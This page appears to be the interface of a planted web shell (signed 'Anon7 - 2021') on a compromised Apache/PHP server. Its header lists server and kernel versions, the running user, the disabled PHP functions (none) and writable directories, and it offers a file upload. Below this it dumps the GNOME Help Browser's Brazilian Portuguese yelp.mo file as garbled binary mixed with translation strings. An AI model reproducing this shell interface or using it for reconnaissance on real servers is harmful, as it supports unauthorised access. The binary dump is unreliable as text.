KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /usr/share/locale/pt_BR/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/locale/pt_BR/LC_MESSAGES/yelp.mo
KHI]r299e6
 137e!",$"40W
	!;V$n#1	5?QX
]h
w*.

"-P0_ 
*.3bfv
,(,0]qx
,
@	NX
h
v0):FS[q`
9D](|


	
 
 
 % 1 C 
P 	^ 
h 	s } 
 	 
  
 	    !4!K!`!t!!!!!!!"","8A"Xz"&"x"ms#g#eI$d$e%oz%%i&t'$'#'`'/(5B(x(	(()(!((
)()!9)[)j){))
)	)
))&)j)V*
]*k*
q*|**
*	********
*	++++
)+4+@+
F+
T+_+	l+v+++++++++,	--%-8-mW-..
./7/>P/D/o/D0Z0i0u00000>0H)1-r1(181%2#(21L2
~2
2'2222'3%63/\3(3"3!33%414C4S4n44
444	444454&54[555!5'5616G6M6'i6	66666667/7H7L7^7
{72777"7.8.58d88888889 929E9Y9v999999
99:::6:
q:4|:
::	:::
; ;0;!B;pd;;;	<*'<R<
r<
}<<
<	<<
<<
<<<<
=	=
=	'=1=
>=	I=
S=^=
k=	v=======>>&)>&P>w>>>>!>>>A?<R?$??r;@l@qAeA{AuoBBiCx	D,D+DgDCE/ZEEEE0E*E"F<FRF(kFFFFFFFFG+G<GGGGGGG
H
H'H/HMHUHkH
tHHH	HHHHHH	HHHI	I'I9IEIQI	bIlIIIImK*NPPxQ;gU0lKb?M{`2,Hse&"7<4F+Eymhtkd
'3/$8X_JC)[ zAiQaO=NPjSc^I1>n}rR5]~o#BwDLx|	@
f.WpT*Yq-6(uV\!9G:%vZ GNOME Help Browser<b>Accessibility</b><b>Fonts</b><b>Printing</b>A bookmark titled %s already exists for this page.A bookmark titled <b>%s</b> already exists for this page.A documentation browser and viewer for the Gnome Desktop.A transformation context could not be created for the file ‘%s’. The format may not be supported.About This DocumentAccessibilityAccessoriesAdd BookmarkAn error occurred while printingAn unknown error occuredApplicationsApplications for funApplications for manipulating or viewing graphicsApplications for word processing and other office tasksApplications related to X WindowsApplications related to multimediaApplications related to software developmentApplications related to the internetApplications specific to the panelApplications that support assistive technologiesBLT FunctionsBookmarksC_ase sensitiveCommand Line HelpConfiguration FilesCopy _Email AddressCould not load documentCould not load sectionCould not load the OMF file '%s'.Could not process documentCould not read documentCould not read the table of contentsCurses FunctionsDefine which cache directory to useDesktopDevelopmentDocument InformationDocument SectionsDocuments specific to the KDE Desktop EnvironmentEducationFORTRAN FunctionsFin_d:FindFind Ne_xtFind Pre_viousFind _NextFind _PreviousFind next occurrence of the word or phraseFind previous occurrence of the word or phraseFont for fixed textFont for textFont for text with fixed width.Font for text with variable width.GNU Info PagesGNU info pages are not supported in this versionGamesGet help with GNOMEGo to the listing of help topicsGraphicsHardware DevicesHelpHelp BrowserHelp ContentsHelp On this applicationHelp TopicsInternetIt was not possible to print your document: %sKDEKernel RoutinesLearning applicationsLoading...Man pages are not supported in this version.Manual PagesMiscellaneous documentsNetwork Audio Sound FunctionsNo href attribute found on yelp:documentNo information is available about the error.No results for "%s"OfficeOpen Bookmark in New WindowOpen Link in _New WindowOpen LocationOpen _LocationOpenSSL ApplicationsOpenSSL ConfigurationOpenSSL FunctionsOpenSSL OverviewsOther ApplicationsOther DocumentationOut of memoryOverviewsPOSIX FunctionsPOSIX HeadersPanel AppletsPerl FunctionsPreferencesPreparing to printPrint This DocumentPrint This PagePrinter %s does not support postscript printing.PrintingPrinting is not supported on this printerProgrammingQt FunctionsRe_nameRead info page for %sRead man page for %sReadline FunctionsRemove BookmarkRename BookmarkRepeat the search online at %sSGML documents are no longer supported. Please ask the author of the document to convert to XML.ScientificScientific Applications.Search for other documentationSearch is not supported in this version.Search results for "%s"Section 0pSection 1mSection 1sslSection 1xSection 2Section 3bltSection 3fSection 3nasSection 3pSection 3qtSection 3readlineSection 3sslSection 3tiffSection 4Section 4xSection 5Section 5sslSection 5xSection 6Section 6xSection 7sslSection 7xSection 9Sections 1, 1p, 1g and 1tSections 3, 3o, and 3tSections 3form and 3menuSections 3ncurses and 3cursesSections 3pm and 3perlSections 3x and 3X11Sections 7 and 7gccSections 8 and 8lShow next page in historyShow previous page in historySound &amp; VideoSystem AdministrationSystem CallsSystem ToolsSystem V Form/Menu FunctionsTIFF FunctionsTermcap ApplicationsThe Uniform Resource Identifier for the file is invalid.The Uniform Resource Identifier ‘%s’ is invalid or does not point to an actual file.The YelpDocInfo struct of the documentThe document ‘%s’ could not be processed. The file ‘%s’ is either missing, or it is not a valid XSLT stylesheet.The file  ‘%s’ could not be parsed. Either the file does not exist, or it is not a well-formed info page.The file ‘%s’ could not be parsed.  Either the file does not exist, or it is formatted incorrectly.The file ‘%s’ could not be parsed. Either the file does not exist, or it is improperly formatted.The file ‘%s’ could not be parsed. Either the file does not exist, or it is not well-formed XML.The file ‘%s’ could not be read and decoded. The file may be compressed in an unsupported format.The file ‘%s’ could not be read.  This file might be missing, or you might not have permissions to read it.The section ‘%s’ does not exist in this document. If you were directed to this section from a Help button in an application, please report this to the maintainers of that application.The table of contents could not be loaded. The file ‘%s’ is either missing or is not well-formed XML.The table of contents could not be processed. The file ‘%s’ is either missing or is not a valid XSLT stylesheet.Traditional command line help (info)Traditional command line help (man)Try using different words to describe the problem you're having or the topic you want help with.Unsupported FormatUse a keyboard-controllable caret when viewing pages.Use a private sessionUse caretUse system fontsUse the default fonts set for the system.Utilities to manage your computerUtility applicationsVariety of other applicationsWaiting to printWelcome to the GNOME Help BrowserX ApplicationsX11 ApplicationsX11 ConfigurationX11 DevicesX11 FunctionsX11 GamesX11 OverviewsYelpYelpTocPager: Pause count is negative.Your search could not be processed. The file ‘%s’ is either missing or is not a valid XSLT stylesheet._About_Add Bookmark_Back_Bookmarks_Bookmarks:_Browse with caret_Close Window_Contents_Copy_Copy Link Address_Edit_Edit Bookmarks..._File_Find..._Find:_Fixed width:_Forward_Go_Help_Help Topics_Location:_New Window_Next_Next Section_Open Link_Preferences_Previous_Previous Section_Reload_Search:_Select All_Title:_Use system fonts_Variable width:_Wrap arounda:about:an:are:as:at:be:broke:broken:by:can:can't:dialog:dialogue:do:doesn't:doesnt:don't:dont:explain:for:from:get:gets:got:make:makes:not:when:has:have:help:how:i:in:is:it:item:me:my:of:on:or:tell:that:the:thing:this:to:what:where:who:will:with:won't:wont:why:work:working:worksers:er:ing:es:s:'srethe GNOME Support Forumstranslator-creditsyelp-watermark-blockquote-201CProject-Id-Version: yelp
Report-Msgid-Bugs-To: 
POT-Creation-Date: 2006-09-01 13:51+0200
PO-Revision-Date: 2006-09-03 22:56-0300
Last-Translator: Leonardo Ferreira Fontenelle <leo.fontenelle@gmail.com>
Language-Team: Brazilian Portuguese <gnome-l10n-br@listas.cipsga.org.br>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
 Navegador da Ajuda do GNOME<b>Acessibilidade</b><b>Fontes</b><b>Imprimindo</b>Um marcador com o nome %s já existe para esta página.Um marcador com o nome <b>%s</b> já existe para esta página.Um navegador e vizualizador de documentação para o ambiente GNOME.Não foi possível criar um contexto de transformação o arquivo "%s". Pode não haver suporte a esse formato._Sobre Este DocumentoAcessibilidadeAcessóriosAdicionar MarcadorOcorreu um erro ao imprimirOcorreu um erro desconhecidoAplicaçõesAplicações para diversãoAplicações para manipulação ou visualização de gráficosAplicações para processamento de texto e outras tarefas de escritórioAplicações relacionadas ao Sistema X WindowAplicações relacionadas à multimídiaAplicações relacionadas ao desenvolvimento de softwareAplicações relacionadas à InternetAplicações relacionadas ao painelAplicações com suporte a tecnologias assistivasFunções BLTMarcadores_Diferenciar maiúsculas de minúsculasAjuda da Linha de ComandoArquivos de ConfiguraçãoCopiar Endereço de EmailNão foi possível carregar o documentoNão foi possível carregar a seçãoNão foi possível carregar o arquivo OMF "%s".Não foi possível processar o documentoNão foi possível ler o documentoNão foi possível ler o sumárioFunções CursesDefinir qual diretório de cache usarÁrea de TrabalhoDesenvolvimentoInformações do DocumentoSeções do DocumentoDocumentos específicos do KDEEducaçãoFunções FORTRAN_Localizar:LocalizarLocalizar Pró_ximoLocalizar A_nteriorLocalizar Pró_ximoLocalizar A_nteriorLocalizar a próxima ocorrência da palavra ou fraseLocalizar a ocorrência anterior da palavra ou fraseFonte para texto fixoFonte para o textoFonte para texto de largura fixa.Fonte para texto com largura variável.Páginas GNU InfoEssa versão não dá suporte a páginas GNU infoJogosObtenha ajuda sobre o GNOMEIr para a listagem de tópicos da ajudaGráficosDispositivos de HardwareAjudaNavegador de AjudaConteúdo da AjudaAjuda Sobre esta AplicaçãoTópicos de AjudaInternetNão foi possível imprimir o seu documento: %sKDERotinas do KernelAplicações de AprendizagemCarregando...Essa versão não dá suporte a páginas de manualPáginas de ManualDocumentos variadosFunções de Som de Áudio em RedeAtributo href não encontrado em yelp:documentNenhuma informação disponível sobre o erro.Nenhum resultado para "%s"EscritórioAbrir Marcador em Nova JanelaAbrir Vínculo em _Nova JanelaAbrir LocalizaçãoAbrir _LocalizaçãoAplicações OpenSSLConfiguração do OpenSSLFunções OpenSSLResumos do OpenSSLOutras AplicaçõesOutro tipo de documentaçãoMemória insuficienteResumosFunções POSIXCabeçalhos POSIXMiniaplicativos do PainelFunções PerlPreferênciasPreparando para imprimirImprimir Este _DocumentoIm_primir Esta PáginaA impressora %s não tem suporte à impressão PostScript.ImprimindoNão há suporte para impressão com essa impressoraProgramaçãoFunções QtRe_nomearLer página info para %sLer página de manual para %sFunções ReadlineApagar MarcadorRenomear MarcadorRepetir a pesquisa on-line nos %sNão existe mais suporte para documentos SGML. Favor solicitar ao autor do documento para convertê-lo para XML.Aplicações CientíficasAplicações CientíficasPesquisar por outro documentoEssa versão não dá suporte a pesquisas.Resultados da pesquisa por "%s"Seção 0pSeção 1mSeção 1sslSeção 1xSeção 2Seção 3bltSeção 3fSeçao 3nasSeção 3pSeção 3qtSeção 3readlineSeção 3sslSeção 3tiffSeção 4Seção 4xSeção 5Seção 5sslSeção 5xSeção 6Seção 6xSeção 7sslSeção 7xSeção 9Seções 1, 1p, 1g e 1tSeções 3, 3o e 3tSeções 3form e 3menuSeções 3ncurses e 3cursesSeções 3pm e 3perlSeções 3x e 3X11Seções 7 e 7gccSeções 8 e 8lMostrar página seguinte no históricoMostrar página anterior no históricoSom e VídeoAdministração do SistemaChamadas de SistemaFerramentas do SistemaFunções Form e Menu do System VFunções TIFFAplicações TermcapO Identificador Uniforme de Recursos para o arquivo é inválido.O URI "%s" é inválido ou não aponta para um arquivo real.A estrutura YelpDocInfo do documentoNão foi possível processar o documento "%s". Ou o arquivo ‘%s’ está faltando, ou ele não é uma folha de estilos XSLT válida.Não foi possível analisar o arquivo "%s". Ou o arquivo não existe, ou ele não é uma página info bem formada.Não foi possível analisar o arquivo "%s". Ou o arquivo não existe, ou ele está formatado incorretamente.Não foi possível analisar o arquivo "%s". Ou o arquivo não existe, ou ele está formatado de forma inadequada.Não foi possível analisar o arquivo "%s". Ou o arquivo não existe, ou ele não é XML bem formado.Não foi possível ler e decodificar o arquivo "%s". Ele pode estar compactado num formato para o qual não exista suporte.Não foi possível ler o arquivo "%s". Esse arquivo pode não existir ou você pode não ter permissões para lê-lo.A sessão "%s" não existe nesse documento. Se você foi direcionado para essa sessão a partir de um botão Ajuda numa aplicação, por favor avise isso aos mantenedors da aplicação.Não foi possível carregar o sumário. Ou o arquivo "%s" está faltando, ou ele não é XML bem formado.Não possível processar o sumário. Ou o arquivo "%s" está faltando, ou ele não é uma folha de estilos XSLT válida.Ajuda tradicional da linha de comando (info)Ajuda tradicional da linha de comando (man)Experimente usar palavras diferentes para descrever o problema ou o assunto com o qual você quer ajudaFormato não suportadoUsa o cursor do teclado ao visualizar páginas.Usar uma sessão privadaUsar cursorUsar fontes do sistemaUsar fontes padrão configuradas para o sistema.Utilitários para gerenciar seu computadorAplicações utilitáriasAplicações variadasAguardando para imprimirBem-vindo ao Navegador da Ajuda do GNOMEAplicações XAplicações X11Configuração do X11Dispositivos do X11Funções do X11Jogos do X11Resumos do X11YelpYelpTocPager: Contador de pausa é negativoNão foi possível processar a sua pesquisa. Ou o arquivo "%s" está faltando, ou ele não é uma folha de estilos XSLT válida._Sobre_Adicionar Marcador_Voltar_Marcadores_Marcadores:_Navegar com cursor_Fechar Janela_Conteúdo_Copiar_Copiar Endereço do Vínculo_Editar_Editar Marcadores..._Arquivo_Localizar..._Localizar:_Largura fixa:_Avançar_IrAj_uda_Tópicos da Ajuda_Localização:_Nova janelaPró_ximoPró_xima Seção_Abrir Vínculo_PreferênciasA_nteriorSeção A_nterior_Recarregar_Pesquisar:Selecionar _Tudo_Título:_Usar fontes do sistemaLargura _variável_Voltar ao Inícioo:a:sobre:um:uma:são:como:em:ser:quebrado:quebrada:travado:travada:travou:por:pode:posso:diálogo:não:explicar:explique-me:explique:para:de:obter:obtenho:obtém:obtêm:obteve:obtive:obtiveram:fazer:faço:não:quando:tem:têm:tenho:ajuda:ajude-me:eu:em:é:são:sou:isso:isto:esse:este:esses:estes:item:itens:me:meu:minha:meus:minhas:de:no:na:nos:nas:ou:diga:dizer:que:coisa:assunto:para:até:que:quê:onde:quem:com:por:funciona:funcionam:funcionandoalhão:alhona:alhões:alhonas:ão:ona:ães:ãos:ões:onas:anzil:anzis:arra:arras:orra:orras:ázio:ázios:aço:aços:az:azes:acho:acha:achos:achas:eto:eta:etos:etas:inho:inha:inhos:inhas:ote:otes:ota:otas:íssimo:íssimos:íssima:íssimas:érrimo:érrima:érrimos:érrimas:limo:lima:limos:limas:aria:arias:ato:atos:douro:douros:ia:ias:dor:dora:dores:doras:ista:istas:ano:ana:anos:anas:eiro:eiros:ês:esa:êses:esas:al:ais:ada:adas:agem:agens:oso:osa:osos:osas:ento:enta:entos:entas:udo:uda:udos:udas:ear:eares:ejar:ejares:ecer:eceres:escer:esceres:entar:entares:fazer:fazeres:ficar:ficares:icar:icares:iscar:iscares:ilhar:ilhares:inhar:inhares:itar:itares:izar:izares:mente:ão:ona:ões:ães:ãos:onasab:acro:ad:aero:anfi:ante:anti:apico:arqui:auri:auro:auto:bis:bio:cata:cerebro:cervico:circum:circun:cis:com:con:contra:des:deis:ego:eletro:endo:entre:extra:filo:fisio:gastro:geo:hemi:hepta:hetero:hexa:hidro:hiper:hipo:homo:idio:ido:in:infra:inter:intra:intro:iso:justa:labio:linguo:macro:mal:medio:mega:meso:meta:micro:mono:moto:multi:nefro:neo:neuro:novi:ob:octo:oni:orto:oto:pan:para:peta:per:peri:poli:pos:pre:preter:pro:proto:pseudo:psico:quadri:quarti:quilo:qüinq:radio:re:retro:rino:sacro:semi:sesqui:sob:sobre:socio:sub:subter:sulfo:super:supra:tele:termo:ter:tetra:trans:traqueo:tras:trans:tres:tri:turbo:ultra:uni:uretro:vasco:vesico:xanto:xilo:zinco:zooFóruns de Suporte do GNOMEEvandro Fernandes Giovanini <evandrofg@ig.com.br>
Estêvão Samuel Procópio <tevaum@ig.com.br>
Leonardo Ferreira Fontenelle <leo.fontenelle@gmail.com>yelp-watermark-blockquote-201C

Anon7 - 2021